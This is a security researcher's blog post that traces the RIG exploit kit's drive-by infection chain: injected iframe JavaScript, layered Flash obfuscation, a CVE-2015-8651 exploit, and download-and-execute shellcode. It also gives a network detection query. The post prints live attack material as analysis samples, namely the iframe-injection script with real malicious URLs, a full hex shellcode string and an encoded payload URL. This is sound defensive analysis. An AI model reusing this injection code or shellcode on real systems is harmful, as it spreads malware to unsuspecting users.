Rotem Salinas

RIG EK - Chronology of an Exploit Kit

Blog Post created by Rotem Salinas Employee on Feb 1, 2017

One of the most well-known exploit kits in the crimeware underground marketplaces, clearly dominating the overall exploit kits category during the last several months, is no other but the RIG EK.

 

Many words have been poured on RIG’s close ties to Ransomware peddlers, a constantly growing threat which without a doubt served as one of the most successful revenue sources for the fraudsters during the past two years, however today we would like to explore a different angle of the RIG EK.

 

Today we chose to focus our attention on the general RIG exploitation delivery and implementation method, rather than focusing on any explicit exploit as these components (landing page, Javascript obfuscation and Shellcode) are shared and used by the different RIG gates regardless of the exploited vulnerability.

 

Network Detection

 

How can one identify and detect RIG EK activity based on network traffic analysis?

  • You can see below how the malicious traffic looks in RSA NetWitness® Logs and Packets investigator after applying the appropriate query. This query can be used to detect the traffic upon the execution of the exploit, assuming the appropriate meta keys are enabled: “service = 80 && action = 'get' && query contains 'fPrfJxzFGMSUb-'”

     

  • Indicators of compromise – RIG EK related domain names and IP addresses were added to Live, you can find them under the threat description: ‘rig-ek’.
  • A network parser will be released at a later date.

 

The Hidden Mechanics

RIG EK uses a traditional drive-by landing page in order to compromise the victim’s computer.

The drive-by infection can be broken down to the following 4 stages.

 

Stage 1 - Delivery

The victim enters a rigged landing page, the victim’s browser sends an http request and receives the landing page in response.

 

 

The seemingly innocent page contains some Javascript code which injects a hidden iframe.

 

 

which contains the following Javascript injects an iframe with content from a different page.

 

<script type="text/javascript">
var srmzzx = "http://acc.ARABICDESSERT.CO/?xXmNd7GZJBvGDoQ=l3SKfPrfJxzFGMSUb-nJDa9BMEXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KV_OpqxveN0SZFSOzQfZPVQlyZAdChoB_Oqki0vHjUnH1cmQ9laHYghP7ZGdFbNt3lqhmbgdeZohk0eEuGBRxe9LVwkT6A0Wm6rNBKqE";
var hjjcyb = document.createElement("iframe");
hjjcyb.style.width = "10px";
hjjcyb.style.height = "16px";
hjjcyb.style.border = "0px";
hjjcyb.frameBorder = "0";
hjjcyb.setAttribute("frameBorder", "0");
document.body.appendChild(hjjcyb);
hjjcyb.src = srmzzx;
</script>

 

The iframe’s src property is set to "hxxp://acc.ARABICDESSERT.CO/?xXmNd7GZJBvGDoQ=l3SKfPrfJxzFGMSUb-nJDa9BMEXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KV_OpqxveN0SZFSOzQfZPVQlyZAdChoB_Oqki0vHjUnH1cmQ9laHYghP7ZGdFbNt3lqhmbgdeZohk0eEuGBRxe9LVwkT6A0Wm6rNBKqE" which is the next stage’s url.

 

The second http request receives a gzipped page as a response.

 

 

After decompressing the gzipped html we get an html page with obfuscated Javascript.

 

 

The Javascript extracts the base64 blob and removes all instances of “fdffghe” in the string, we are able to decode it and reveal the next Javascript which downloads and embeds a flash object into the iframe’s html body.

 

 

 

This Javascript embeds a Flash object in the page and passes some data to the Flash object through a parameter named 'iddqd'.

 

The parameters passed to the function ‘sdvbv’ are:

  • fu - a url to .swf file "hxxp://kd67.prmhohzsl.top/index.php?xHiNdbSbKB_NC4c=l3SMfPrfJxzFGMSUb-nJDa9GP0XCRQLPh4SGhKrXCJ-ofSih17OIFxzsqAycFUKCqrF4Qu4Fah2h1QWScEZrmYRPFgVIove8hQLfyhSWkpGC_RKFNQ4T_JeRQeAyiw70xuJHdJl1zhfQ62JUxOlOQFFT6wkZjuyeV7PC7kpzXlBxFlvbJN0sohfQDmK1JDEqi_C4STJ-1g"

  • fd - a parameter which is passed to the .swf in the FlashVars dictionary with the key ‘iddqd’ "N3NNY3XiWPWNWeWhXiW3NNYMXhXhXdNOOXOXYNYhNQNiOYXdXfYPYMYXYMXOXeYWOYXhYXXdOXYLYYYhYgXMOYXdYMXdNXXMWMYLWYYhYfPeYfWNWfPXWYWeNhYeNPYWNePeWPYQPdXfYQWOXMXOWQWiWPPePgYfOPYYWOWhY3NLWiPdNdPMWePfP3WWPdYMNhPeWiYMWNXfPMWeWOOPYXYQPeYLYMN3NiWXWLWQXMXOXeX3W3XLYeWQPgWNWeX3XfWQNhP3XgNhWQY3YMNfYMN3P3PiPeYeWgPOXfYPPLPfPdWQYiPQWLYXXQYgNMYMP3WWYQXLYMPePiYNXdWiWePXPfWNWQWYP3NhPhPXWOYgPfP3YgW3XLYLXiNiNdXMXgWOWMYhWOYWN3XOYMYQP3NQNfWOPgXMWXYWWXP3WQWQPhNQXiYNPOYOXgXLYgPQNiPdWeNiYNXdXOPMYWWfXQWgP3NiYfWOWYNdXeYXYMYQP3WhYPWNN3WOWhWgX3YLPXWeNLPfYOYMNfYNWNWPOQYhYQYiXeYhYQNPNfMdMdMdLLLLLLLL"

 

Finally the last http request is sent to the server and the response is the flash object itself which is downloaded and embedded in the html.

 

 

the .swf allows the attackers to execute code on the victim’s machine exploiting a UAF vulnerability in Flash, the .swf also contains the download and execute payload except for the URL for the malware’s executable file which is passed to the Flash object as a parameter through the iddqd argument (In encoded format) as we will see later.

 

Stage 2 – Peeling The Onion

The exploit is wrapped in multiple layers of obfuscation, in this stage we will peel off these layers until we get to the final .swf that contains the exploit’s code.

 

The first .swf file contains ActionScript and some embedded binary data.

The ActionScript uses zlib to decompress the embedded binary data and performs a loop to decode the data using XOR with a value of 0 (32 % 8 = 0) which means the data actually stays without any change (it is unclear if this method is supposed to confuse or slow down researchers or it originates from a misconfiguration of the exploit builder).

 

 

We used this small piece of Python code to decompress the data:

 

from zlib import decompress
data = open('data2.bin', 'rb').read()
decompressed = decompress(data)
open('decoded1.bin', 'wb').write(decompressed)

After decoding the embedded binary data we find another .swf, this time with a more complex obfuscation method and some evidence of a commercial obfuscator called  "SWFLock".

 

 

If we look closely at the code it is evident that we have a base64 implementation.

 

 

In this next part here we can see how the next .swf is decoded first by using zlib (again) to decompress the data, then slicing the decompressed data into two parts and then base64 decoding the first part and using the second part as a XOR key for the decoded output.

 

Once again we use Python to overcome this obfuscation.

from zlib import decompress
from base64 import b64decode

data = open('data2.bin', 'rb').read()
decompressed = decompress(data)
b64encoded = decompressed[:-16]
key = decompressed[-16:]
b64decoded = b64decode(b64encoded)

xorDecoded = ''
for i in xrange(len(b64decoded)):
     xorDecoded += chr(ord(b64decoded[i]) ^ ord(key[i % len(key)]))

open('decoded2.bin', 'wb').write(xorDecoded)

Stage 3 – The Exploit

This is the final .swf and this time it is very obfuscated with very annoying names for classes, variables, functions etc. and more than 20 classes and 5 embedded binary data objects with hints of RC4, AES and other encryption algorithms as well as other tricks.

 

After analyzing each one of the classes and refactoring most of the compiled code to meaningful naming convention, bit by bit things start to make some sense.

 

Each one of the binary data objects is represented by a class, and the decryption and access to the data is managed in 2 other classes which we conveniently named dataBin1 and dataBin2.

 

The method we renamed to getValue, is used to decrypt all values on first access and then returns the value for the index of its argument, XOR-ed with a class member’s value which we renamed to xorValue, and is initialized with a fixed value of 0x93806237.

 

 

dataBin1.values : Array {
     0 : "VirtualProtect"
     1 : "writeUnsignedInt"
     2 : "0x"
     3 : "dows"
     4 : "clear"
     5 : "littleEndian"
     6 : "addedToStage"
     7 : "timerComplete"
     8 : "t"
     9 : "activex"
     10 : "win "
     11 : "plugin"
     12 : " 8.1"
     13 : "domainMemory"
     14 : "param"
     15 : " 8"
     16 : "win"
     17 : "kernel32.dll"
     18 : " 10"
}

dataBin2.values : Array {
          0 : "za1sdLMNOPWXY3defghiQRSTUVjklmnABC012DEFopq456789abcrstuvwxyzGHIJKZ"
          1 : "za1sd0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
          2 : "za1sd0x"
          3 : "littleEndian"
          4 : "iddqd"
          5 : "60eb1158b9d1040000498034081985c975f7ffe0e8eafffffff11f19191978f0dc1d191998f5c51919194a4c4f2ac24ea04b087652de5d3d016c6b7574de5d3d057677377d7fde5d3d39757591453d3bde5d3d3d787d6f78de5d3d3169702a2bde5d3d35377d757591453d29f1851a1919a00b7b3067905d3d4df1971a1919a0dae42868905d3d79f1991a1919a0728dc2e6905d3d7df16b1a191992e1a0bc01234390653d71f17b1a191992e9a034363f66906d3d6df14b1a1919a02f5a2f4f905d3d61f15d1a1919a0a5f832f3905d3d65f12f1a1919a0dd7cb054909d3d99191919f13c1a1919a0dacb1cfc909d3d9d191919f10d1a1919a0538dafd0909d3d91191919f11a1a1919a056f5ce4c909d3d95191919f1eb1b1919909d3d89191919945d3d0149e6cf945d3d3d49e6cfa09f8b3363f1ca1b1919a01ba9709d909d3d81191919f1db1b1919a033a4d3b8909d3d85191919f1a81b1919909d3db9191919f16e1a191992f190753d2d935ce5efc9915d3d0a90453d2190453d2590453d59731d7119091919711d1c19194ae6ce92e1937d3d0a92cc2aef9486191d191992d632ce931d132bdd91186d135f5898e7191d19196ff49cef169d3918191992de2ad09921196d01905d9521930999e3226d1e599dcb6cedf212df191959f21c9a7d952119589ae01a6bc192753d21935c1925286d11252b169cf8191919924d3d254ae66d3d5d94553d45f1c319191940409cd9169dbd191919935c192528169c89191919735d2acb44904d3d0d92d4949d3db1191919910959506ce3730940945d3d5d910959506ce3945d3d0d49719219191973e690b53dad191919e68d3dbd191919945d3d5d49949d3db5191919492ad9494949494949494ae66d3d25e68d3dd11919199a653d0d196d11e66d3d0de64d3d7d9a653d51196d11e66d3d51e64d3d7d9a653d5d196d0ae66d3d5de64d3d7df210252b6c1c4ae64d3d6192753d2d71199919192ac25c4a1af74e90753d59e64d3d6992653d71f0bbe7e6e64647444298ddc5191919da9af5094a4c4f4e731d7119091919711d18191992f392c02ae64e90753d3d90453d35e64a0d92e94f711d181919e64a21e66d3d314e4e4fe64a2571199919194e4fe64a094e4ee66d3d29e66d3d294ee64a559cd9169ca41919194e7199191919731a4e731871191919d9e66d3d59e64a3592e99ae7e6169d821919194e4fe64a29905d3d099cd9169d9f1919199cf46d66996419196d604ce60a731d7119091919e66d3d01905d3d3d4ee64a0d4e92f1945d3d0d49e66d3d014c4fe64a3d925d3d0992d69cd96d3192453d0d92ce22d16a03224d3d016a09931d03291d30925d3d095b5822d16bf322d16bf992453d054e4e4e4fe64a2d4e945d3d0d49e66d3d014c4fe64a3171199919194e4ce64a092ae65e4fe64a1592de464744429add09da9af5097db8291919194a9259154c4f9269154e924f0190553d019ccb169d941919192af4925b259267299245096192d490453d099cc26d73d8d014931e257816a7d9651a9ad8f99ade1b1ad17f20366cfe925d0a391adb9a650a011992e46f5b92c492311af39ad91d905d3d05935c19d8d21416a7d91ac15c935c199dd96ce990453d0d925d3d0d92453d091ad8225d3d016d3c925d3d055e73194422650a016ba7922f924f019ccb169c6ce6e6e62ad9464744429add09da925d0a3d941d6116ae1509925d0a05941d91921d091adbf2c6f119191919419ad913dadae6e6e6e6"
}

The entrypoint for the .swf is the Main function in Main class, this type of Main function is pretty standard for AS3.

 

 

The Main function calls init() which is first reading the value for ‘iddqd’ that was passed from the HTML through the embedded .swf object’s FlashVars in the landing page’s HTML.

 

 

Next the parameter string is decoded with the following logic which we replicated using Python.

 

 

def decode(iddqd):
     key = "LMNOPWXY3defghiQRSTUVjklmnABC012DEFopq456789abcrstuvwxyzGHIJKZ"
     result = ''
     for i in iddqd:
          result += "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"[key.find(i)]
     return result

decode('N3NNXQXiWPWNWeXiXiW3NNYMXhXhXdNOOXOXYhYQOYYLYYYhYLY3XeXiYgYgXhXeY3YYYhYiXfYXYeYgXfXLOYYeYXYPOXYLYYYhYgXMOYXdYMXdNXXMPMYPWYYhNiWiPOWWXMNeWYWeWLYeNPYWNePeWPYQPdXfYQWOXMXOWQWiWPPePgYfOPYYWOWhY3NLWfWPWgPMWePfP3WWPdYMNhPeWiYMWNXfPMWeWOOPYXYQPeYLYMN3NiWXWLWQXMXOXeYPPhXgNfWNPQPXWXXdX3XMXQYgWYNdPePOWQPeWXXOP3YQPOPdPQP3YWXLPOW3YhWeYMYXWfPXWXX3YNYLNdXQWMYOPgYYWMN3YeYPP3NLYWY3WMPLYiYMPdNiPOYfWhWgNiYNNgYOYiXgYPXMNiWLPhYeNMYMNfXMWgWNWQNQWhYhPiYYOPWPPgPgPQWPPhNhXiWYWMYWWNNfYgWfWNX3WNXdNdWYNQPfYiWfYYWgWfPXWeYfWOP3YWX3XiOPYQWgWePhNQPdPMYWNgYiXQNfXdWMYYNhYXYLYgPiPMPXPdPOXMYYXdNMXdNeYWWPOQYhYQYiXeYhYQNPNfNLNdNgMdMdMdLLLLLLLL')

 

The returned string value of: '28226f6e54525a6e6e5822716d6d692336367d7f3770777d70786a6e7c7c6d6a78777d7e6b767a7c6b60377a76743670777d7c613769716926614174577d2e5e4355612a575a507a24752a4a547f496b7f5361635f5e544a4c7b3477535d78205b545c415a4b485549712d4a5e71526b415a5334767f4a7071282e56505f61636a744d6c2b524f46566968616f7c57294a435f4a5663487f43494f48756043587d5a71765b4656687270296f51734c7751287a744820757851407e71492e437b5d5c2e722c737e6c74612e504d7a21712b615c525f2f5d7d4e7734544c4c4f544d2d6e575175522b7c5b5268526929572f4b7e5b775c5b465a7b534875686e347f5c5a4d2f4941752c7e6f2b6951772d76707c4e4146494361776921692a75543f7d7f7e6a7d7f242b20292c19191900000000' is then concatenated at the end of the shellcode string found in dataBin2[5] and sent to method_58 as an argument.

 

 

The shellcode string is then unhexlified and sent to a class we called enumerateExploitable, as we can see in its constructor the shellcode is saved in a class member variable, right before the enumerateSystem() method is invoked.

 

 

enumerateSystem() like many other methods in this class is used to fingerprint the victim’s machine in order to determine whether the victim’s machine is exploitable and which of the exploits to use.

 

The fingerprinting includes:

  • Whether the .swf is running in a debugger
  • OS version
  • Whether the flash player is ActiveX, Plugin, or a Standalone player
  • Flash version

 

 

The code exploits an Integer Overflow vulnerability as described in CVE-2015-8651 that was ripped off Angler EK.

 

 

 

Eventually after the vulnerability is triggered the shellcode is executed.

 

Stage 4 – The Payload          

The exploit’s payload is a piece of shellcode that is supposed to download the encoded URL that was passed from the landing page’s body and attached at the end of the shellcode and execute it on the victim’s machine in order to infect it, the final malware payload can be anything from Ransomware to Banking Trojan to RAT according to the EK operator’s goals on the victim machine.

 

The shellcode’s execution starts by pushing all registers and jumping to another location.

Next, it calls a decoding stub which will decode all the following 0x4d1 bytes after the call by XOR-ing it with 0x19 and then will eventually jump back to the decoded instructions location.

 

 

The encoded instructions are located right after the call to the decode stub.

 

 

After decoding the instructions, notice that after the call to downloadAndExecute the registers are restored to their original state from the stack in order to cleanly exit and avoid crashing the client.

 

 

The main payload is Download & Execute, first some Windows API function addresses are resolved by calling the resolveFunctionAddress function with a function hash as a parameter.

 

 

The resolveFunctionAddress uses the Windows PEB structure in order to iterate through the loaded modules to find the Kernel32 module and resolve functions from that modules export address table.

 

 

After resolving LoadLibrary, ‘urlmon.dll’ and ‘advapi32.dll’ are loaded and more functions are resolved from the newly loaded modules including URLDownloadToFileA.

 

 

Next the function getAddressOfEncodedUrl is called in order to determine the address for the encoded bytes that were concatenated at the end of the shellcode at the beginning of Stage 3.

 

 

The URL is decoded with a simple XOR loop with the value of 0x19 which is loaded into ah register.

 

 

After decoding the encoded bytes we can see clearly 3 values separated by ‘;’:

 

 

The URL is later passed to urlDownload in order to save the malware executable to a file in a temporary path.

 

 

Lastly the downloaded file is executed by calling CreateProcessAsUserA

 

 

We have monitored many different malware families infections using the RIG EK including many Ransomware infections.

 

References:

Attachments

Outcomes